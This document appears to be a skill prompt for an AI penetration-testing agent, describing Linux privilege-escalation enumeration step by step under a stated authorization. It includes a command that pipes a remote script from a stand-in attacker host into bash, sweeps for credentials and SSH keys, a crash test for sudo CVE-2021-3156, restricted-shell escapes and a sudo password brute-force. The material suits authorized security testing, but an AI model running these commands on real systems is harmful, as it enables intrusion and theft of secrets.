Linux Local Privilege Escalation Discovery

You are helping a penetration tester enumerate a Linux system for local privilege escalation vectors. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [linux-discovery] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Scope Boundary

This skill covers Linux host discovery — enumerating system configuration, identifying privilege escalation vectors, and reporting findings to the orchestrator. When you confirm an exploitable vector — STOP.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Detection details (finding type, affected binary/service, evidence)
• Context for technique execution (hostname, kernel version, current user, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

State Writes

Write actionable findings immediately via state so the orchestrator can react in real time (via event watcher) instead of waiting for your full return summary. Use these tools as you discover findings:

• add_credential() — cleartext creds found in config files, .bash_history, env vars, or databases
• add_vuln() — confirmed vulnerabilities a technique agent should exploit (SUID binaries, sudo misconfigs, kernel CVEs)
• add_pivot() — additional NICs/subnets discovered via ip addr/ip route, new hosts from ARP table
• add_blocked() — techniques attempted and failed (so orchestrator doesn't re-route) Your return summary must include:
• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on a Linux system (SSH, reverse shell, webshell)
• Know current user context (id)
• Enumeration tools available on target or transferable

Step 1: System Information

Gather baseline system information for exploit matching and context.

# Kernel and OS
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/*-release 2>/dev/null
cat /proc/version
uname -r
uname -m  # Architecture (x86_64, aarch64, etc.)

# Hostname and domain
hostname
hostname -f 2>/dev/null
dnsdomainname 2>/dev/null

# Hardware and disk
lscpu
df -h
lsblk 2>/dev/null

# Environment
echo $PATH
echo $LD_LIBRARY_PATH
echo $SHELL
env | grep -iE "pass|key|secret|token|proxy" 2>/dev/null

Key outputs to note:

• Kernel version (determines kernel exploit eligibility)
• Distribution and version (affects available tools and default configs)
• Architecture (affects binary compatibility for exploits)
• PATH directories (writable ones = hijacking opportunity)
• Environment variables (leaked credentials, writable library paths)

If env | grep reveals cleartext credentials (passwords, tokens, API keys), write them immediately: add_credential(username=..., secret=..., source="env vars on <host>").

Step 2: User Context and Privileges

id
groups
cat /etc/passwd | grep -v nologin | grep -v false | grep sh$
awk -F: '($3 == 0) {print $0}' /etc/passwd  # UID 0 accounts

Currently logged-in users:

w
who
last -20 2>/dev/null

Group membership (privesc-relevant groups):

Step 3: Sudo Configuration

This is the highest-priority check — sudo misconfigurations are the most common Linux privilege escalation vector.

sudo -n -l 2>/dev/null  # -n prevents password prompt from hanging the shell
sudo -V 2>/dev/null | head -1  # Sudo version for CVE matching

Sudo version CVEs:

MANDATORY: Verify CVE-2021-3156 before marking as confirmed. Version strings are necessary but NOT sufficient — distro backports can patch sudo without bumping the version number. If the version is in the vulnerable range, run this test:

# Vulnerability verification (does NOT exploit, just confirms)
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
# Vulnerable: segfault, memory error, or "malloc(): corrupted..."
# Patched: "usage: sudoedit" error message

Only mark CVE-2021-3156 as [found] in the engagement state if the test shows a crash or memory error. A "usage:" response means the build is patched regardless of version.

What to look for in sudo -l output:

If sudo -l returns anything usable → STOP. Report: hostname, current user, sudo -l output, sudo version. Do not execute privilege escalation commands inline.

Doas (OpenBSD alternative):

cat /etc/doas.conf 2>/dev/null

Polkit / PolicyKit (CVE-2021-3560 and CVE-2021-4034):

Check polkit version and prerequisites — this is a common privesc vector on RHEL/CentOS 8 systems where sudo is locked down.

# Polkit version
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null || pkaction --version 2>/dev/null

# pkexec SUID status (required for CVE-2021-4034 PwnKit)
ls -la /usr/bin/pkexec 2>/dev/null

# accountsservice (required for CVE-2021-3560)
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null

# dbus-send availability (required for CVE-2021-3560)
which dbus-send 2>/dev/null

# polkitd running
ps aux 2>/dev/null | grep polkit

If either polkit CVE prerequisite is met → STOP. Report: hostname, current user, polkit version, pkexec SUID status, accountsservice presence. Do not execute exploitation commands inline.

PAM Environment Injection + Polkit Active Session Bypass:

On SUSE/openSUSE (and potentially other distros), pam_env.so may be configured with user_readenv=1, allowing users to inject environment variables via ~/.pam_environment that are read before pam_systemd.so registers the session with logind. This enables hijacking session properties to gain Active=yes status on an SSH session — unlocking all polkit allow_active policies without authentication.

# Check PAM config for user_readenv=1
grep -r "user_readenv" /etc/pam.d/ 2>/dev/null

# Check current session properties
loginctl show-session "$XDG_SESSION_ID" 2>/dev/null | grep -E "Active|State|Seat|Type"

# Enumerate polkit actions with allow_active=yes
pkaction --verbose 2>/dev/null | grep -B5 "allow_active.*yes" | grep -E "^org\.|allow_active"

What to look for:

If user_readenv=1 is found AND polkit actions with allow_active=yes exist → STOP. Report: hostname, current user, PAM config showing user_readenv, loginctl session output, list of allow_active polkit actions (especially udisks2 loop-setup, filesystem resize/check). Do not execute exploitation commands inline.

Step 4: SUID/SGID and Capabilities

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Both SUID and SGID
find / -perm -6000 -type f 2>/dev/null

Cross-reference against GTFOBins (https://gtfobins.github.io). Common SUID escalations:

Check for unusual or custom SUID binaries — anything not in default OS install is a high-priority target. Use strings, strace, ltrace, or ldd to understand behavior.

Capabilities:

getcap -r / 2>/dev/null

Critical capabilities:

Any SUID/capability finding → STOP. Report: hostname, current user, SUID binaries or capabilities found, kernel version. Do not execute privilege escalation commands inline.

Step 5: Scheduled Tasks and Process Monitoring

Cron jobs:

crontab -l 2>/dev/null
ls -la /etc/cron* /etc/at* 2>/dev/null
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null
cat /etc/anacrontab 2>/dev/null

What to look for in cron output:

Systemd timers and services:

systemctl list-timers --all --no-pager 2>/dev/null
systemctl list-units --type=service --state=running --no-pager 2>/dev/null

# Writable unit files
find /etc/systemd /usr/lib/systemd /lib/systemd -writable -type f 2>/dev/null

Process monitoring (discover hidden cron/scheduled tasks):

# pspy — monitor processes without root
./pspy64 -pf -i 1000

# Manual alternative (no tools needed)
for i in $(seq 1 600); do ps -eo user,pid,cmd --no-headers | sort -u >> /tmp/.ps_monitor; sleep 1; done
sort /tmp/.ps_monitor | uniq -c | sort -rn | head -30

Watch for root-owned processes that execute writable scripts or use relative paths.

Any finding here → STOP. Report: hostname, current user, specific findings (writable scripts, wildcard commands, writable unit files), kernel version. Do not execute exploitation commands inline.

Step 6: File and Directory Permissions

World-writable files and directories:

# World-writable files (exclude /proc, /sys, /dev)
find / -writable ! -user $(whoami) -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/dev/*" 2>/dev/null | head -50

# World-writable directories
find / -perm -o+w -type d ! -path "/proc/*" ! -path "/sys/*" ! -path "/dev/*" 2>/dev/null | head -30

Critical file checks:

# Writable passwd/shadow/sudoers
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null

# Check for hashes in /etc/passwd (not using shadow)
grep -v '^[^:]*:[x*!]' /etc/passwd 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "authorized_keys" -writable 2>/dev/null

# Profile scripts (execute on login — backdoor opportunity)
ls -la /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null

# NFS shares (no_root_squash = SUID injection)
cat /etc/exports 2>/dev/null | grep no_root_squash
showmount -e localhost 2>/dev/null

Library hijacking paths:

# Shared library configuration
cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null

# RPATH/RUNPATH in SUID binaries (writable = hijack)
find / -perm -4000 -type f 2>/dev/null | while read f; do
  readelf -d "$f" 2>/dev/null | grep -E "RPATH|RUNPATH" && echo "  → $f"
done

# Missing shared objects in SUID binaries
find / -perm -4000 -type f 2>/dev/null | while read f; do
  ldd "$f" 2>/dev/null | grep "not found" && echo "  → $f"
done

# Python library paths
python3 -c "import sys; print('\n'.join(sys.path))" 2>/dev/null

Writable PATH directories:

echo $PATH | tr ':' '\n' | while read dir; do
  [ -w "$dir" ] && echo "WRITABLE: $dir"
done

Any finding here → STOP. Report: hostname, current user, specific findings (writable files, group memberships, library paths), kernel version. Do not execute exploitation commands inline.

Step 7: Credential Hunting (Quick Scan)

Fast checks for stored credentials before deep analysis.

# History files
cat ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE "pass|secret|key|token|mysql.*-p|ssh.*-i" | head -20

# Common credential files
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" 2>/dev/null | xargs grep -liE "pass|secret|key|token" 2>/dev/null | head -20

# Database connection strings
grep -rliE "mysql|postgres|mongo|redis" /etc/ /opt/ /var/www/ 2>/dev/null | head -10

# Backup files (often contain plaintext creds)
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.orig" 2>/dev/null | head -20

# Git repositories (may contain credentials in history)
find / -name ".git" -type d 2>/dev/null

# Cloud credentials
ls -la ~/.aws/credentials ~/.azure/ ~/.config/gcloud/ 2>/dev/null

# Docker config (may contain registry creds)
cat ~/.docker/config.json 2>/dev/null

# SSH agent
ssh-add -l 2>/dev/null

STOP — write findings NOW. Before continuing to Step 8, check every result above. Any cleartext credentials found in history files, config files, database connection strings, or cloud credential files — call add_credential() NOW, one call per credential. Any password hashes extracted from databases — call add_credential(secret_type="other") NOW. Any confirmed privesc-relevant vulnerability (writable root-owned scripts, exploitable services) — call add_vuln() NOW. Do not batch these at the end of enumeration. The orchestrator's event watcher reacts to state writes in real time — a credential written now can trigger parallel cracking or spray while you continue enumerating.

Step 8: Network and Services

# Listening services
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null

# Internal-only services (127.0.0.1 listeners)
ss -tlnp 2>/dev/null | grep "127.0.0.1\|::1"

# All connections
ss -anp 2>/dev/null | head -30

# Routing table
ip route 2>/dev/null || route -n 2>/dev/null

# ARP table (discover other hosts)
ip neigh 2>/dev/null || arp -a 2>/dev/null

# Firewall rules
iptables -L -n 2>/dev/null

Unix sockets:

# Writable sockets
find / -type s 2>/dev/null | while read s; do
  [ -w "$s" ] && echo "WRITABLE: $s"
done

# Docker socket (container escape)
ls -la /var/run/docker.sock 2>/dev/null

Writable Docker socket → report for container escape / file path abuse. Internal services on loopback → investigate for exploitation.

STOP — write findings NOW. Before continuing to Step 9:

• Additional NIC found via ip addr → call add_pivot() NOW
• New hosts from ip neigh/ARP table → call add_pivot() NOW
• Exploitable internal-only services on loopback → call add_vuln() NOW
• Root-owned services on localhost (check ss -tlnp output for root processes on 127.0.0.1) → call add_vuln(title="Root <service> on <host>:127.0.0.1:<port>", vuln_type="internal-service", severity="high")

Step 9: Security Controls Detection

# SELinux
sestatus 2>/dev/null || getenforce 2>/dev/null

# AppArmor
aa-status 2>/dev/null || apparmor_status 2>/dev/null

# ASLR
cat /proc/sys/kernel/randomize_va_space  # 0=off, 1=conservative, 2=full

# Ptrace scope (blocks memory injection, sudo_inject)
cat /proc/sys/kernel/yama/ptrace_scope  # 0=unrestricted, 3=disabled

# Seccomp
grep Seccomp /proc/self/status

# Container detection
ls /.dockerenv 2>/dev/null && echo "IN DOCKER"
cat /proc/1/cgroup 2>/dev/null | grep -qE "docker|lxc|kubepods" && echo "IN CONTAINER"

# Docker Desktop / WSL2 detection
# If kernel contains "microsoft-standard-WSL2", this is Docker Desktop on
# Windows/macOS — flag for container-escapes skill (Docker Desktop-specific
# escape vectors exist even without socket, caps, or privileged mode)
uname -r | grep -q "microsoft-standard-WSL2" && echo "DOCKER DESKTOP (WSL2)"

Kernel protections:

# Check if exploit mitigations are active
cat /proc/sys/kernel/kptr_restrict      # 0=exposed, 1=hidden for non-root
cat /proc/sys/kernel/dmesg_restrict     # 1=restrict dmesg to root
cat /proc/sys/kernel/perf_event_paranoid # Higher = more restricted

Compiler availability (needed for kernel exploits):

which gcc g++ cc make 2>/dev/null
gcc --version 2>/dev/null | head -1

Step 10: Kernel Exploit Assessment

# Kernel version
uname -r
cat /proc/version

# Quick CVE check
# DirtyPipe: Linux 5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102
# DirtyCow: Linux <= 3.19.0-73.8
# GameOver(lay): Ubuntu kernels with OverlayFS (CVE-2023-0386)

Automated exploit suggestion (run on attacker machine with kernel info):

# linux-exploit-suggester.sh (mzet-)
./linux-exploit-suggester.sh --uname "$(uname -r)"

# linux-exploit-suggester-2 (jondonas)
perl linux-exploit-suggester-2.pl -k $(uname -r)

Match kernel version against known exploits → STOP. Report: hostname, kernel version, distribution, architecture, compiler availability, exploit-suggester output. Do not execute kernel exploits inline.

Step 11: Automated Enumeration Tools

When manual checks are insufficient, run comprehensive tools.

LinPEAS (comprehensive — highest coverage):

# Standard run
./linpeas.sh | tee linpeas_output.txt

# Fast/stealth mode (less I/O, fewer indicators)
./linpeas.sh -s

# All checks including deeper analysis
./linpeas.sh -a

# Password brute-force against sudo
./linpeas.sh -P

OPSEC note: LinPEAS creates significant file I/O and process activity. In OPSEC-sensitive engagements, prefer -s (stealth) mode or manual checks from Steps 1-10. Consider piping directly from memory:

curl -sL https://ATTACKER/linpeas.sh | bash

LinEnum:

./LinEnum.sh -s -k password -r report -e /tmp/ -t

linux-smart-enumeration (lse.sh):

./lse.sh -l1    # Interesting findings only
./lse.sh -l2    # Full enumeration

unix-privesc-check:

./unix-privesc-check standard
./unix-privesc-check detailed

SUDO_KILLER:

./SUDO_KILLERv2.sh

pspy (process monitoring — run first, leave running during enumeration):

./pspy64 -pf -i 1000

Step 12: Return to Orchestrator

STOP and return to the orchestrator with all findings. Present findings ranked by reliability and OPSEC:

1. Sudo NOPASSWD / SUID (near-certain, low OPSEC)
2. Capabilities with cap_setuid (direct root, low OPSEC)
3. Writable cron/service scripts (reliable, wait for execution)
4. File permission abuse (reliable if writable)
5. Kernel exploits (last resort — may crash system)

For each finding, pass along: hostname, kernel version, distribution, current user, specific findings (sudo entries, SUID binaries, capabilities, writable scripts, kernel CVEs, credentials found).

Troubleshooting

LinPEAS blocked by security controls

Use manual checks from Steps 1-10 — they use only built-in commands. Or pipe LinPEAS from memory: curl -sL URL | sh to avoid writing to disk.

No tools transferable

Manual enumeration using Steps 1-10 covers all major vectors using only built-in commands. Focus on sudo -l (Step 3), SUID enumeration (Step 4), and cron review (Step 5) as highest-value manual checks.

Restricted shell (rbash, rksh)

Try bash or sh to escape. If SUID bash exists: bash -p. Other breakouts: vi → :set shell=/bin/bash → :shell, or awk 'BEGIN {system("/bin/bash")}'.

In a container

Check /.dockerenv or cgroup membership. Container-specific privesc vectors (cap_sys_admin + mount, Docker socket, privileged mode) should be reported for container escape techniques.

Also check the kernel string: uname -r | grep -q "microsoft-standard-WSL2". If found, flag as Docker Desktop environment — this unlocks Docker Desktop-specific escape vectors (internal management API) that are NOT detectable via standard container enumeration (no socket, no caps, no mounts needed). Report this as a finding even when all standard container escape checks come back negative.